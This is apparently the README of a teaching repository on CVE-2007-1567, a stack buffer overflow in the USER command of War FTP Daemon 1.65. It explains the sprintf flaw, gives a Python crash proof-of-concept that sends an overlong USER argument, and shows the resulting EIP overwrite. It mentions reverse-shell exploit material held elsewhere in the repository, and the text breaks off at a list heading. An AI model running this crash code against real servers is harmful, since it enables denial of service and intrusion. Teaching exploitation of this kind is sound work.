经典的基于栈的缓冲区溢出漏洞,存在于 War FTP Daemon 1.65 中,通过畸形的 FTP 命令演示了老式的远程代码执行技术。
此仓库是我在讲授内存损坏利用时所使用材料的一部分(除了我的日常工作外,我还在不同的网络安全课程中授课,帮助培养下一代的逆向工程师)。
CVE-2007-1567 是我在介绍完基本的 EIP 覆盖基础知识后立即使用的案例。其利用过程清晰直接,但有一个细节使其比典型的入门练习稍有趣味:FTP 协议引入了一个额外的坏字符,学生在构建 shellcode 时必须识别并处理它。这是一个小约束,但足以让学生思考,而不仅仅是照搬他们已经使用过的技术。
War FTP Daemon 1.65 是 20 世纪 90 年代末期的遗留 Windows FTP 服务器。该漏洞位于 USER 命令处理程序中,它使用 sprintf 将用户控制的输入复制到一个固定大小的栈缓冲区中,而未验证其长度。该案例在教学中的价值如下:
War FTP Daemon 是一个 Windows FTP 服务器,最初编写于 20 世纪 90 年代末。它在 TCP 端口 21 上监听并处理标准 FTP 命令。该漏洞位于 USER 命令处理程序中,它使用 sprintf 处理连接客户端发送的用户名而未验证长度。
关键技术细节:
War FTP Daemon 通过将提供的用户名传递给 sprintf 来处理 USER 命令,sprintf 将其复制到一个固定大小的栈缓冲区中而不检查其长度。简化版的漏洞逻辑如下所示:
char buffer[256];
sprintf(buffer, "%sCRLF", username);
发送一个足够长的字符串作为 USER 参数会导致复制操作超出缓冲区末尾,破坏栈直到保存的返回地址被覆盖。当函数返回时,CPU 从栈中加载攻击者控制的值到 EIP 并跳转到该地址。
可以通过在 FTP 上发送一个超长的 USER 参数来复现崩溃。无需认证。使用 Python 的示例如下:
import socket
HOST = '127.0.0.1'
PORT = 21
payload = b"A" * 700
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)
s.send(b"USER " + payload + b"\r\n")
s.close()
在调试器下执行时,崩溃显示 EIP 被用户控制的数据覆盖:
EIP = 41414141
确认保存的返回地址已被溢出破坏。
此仓库的目的不仅在于演示崩溃,还在于逐步引导完成完整的利用过程,从模糊测试到可工作的反向 shell。
为了保持主 README 的整洁,详细的利用笔记、脚本和调试器步骤放置在此仓库的 Vulnerability 📂 文件夹中。
您将在其中找到用于利用此 CVE 的完整工作流程,包括: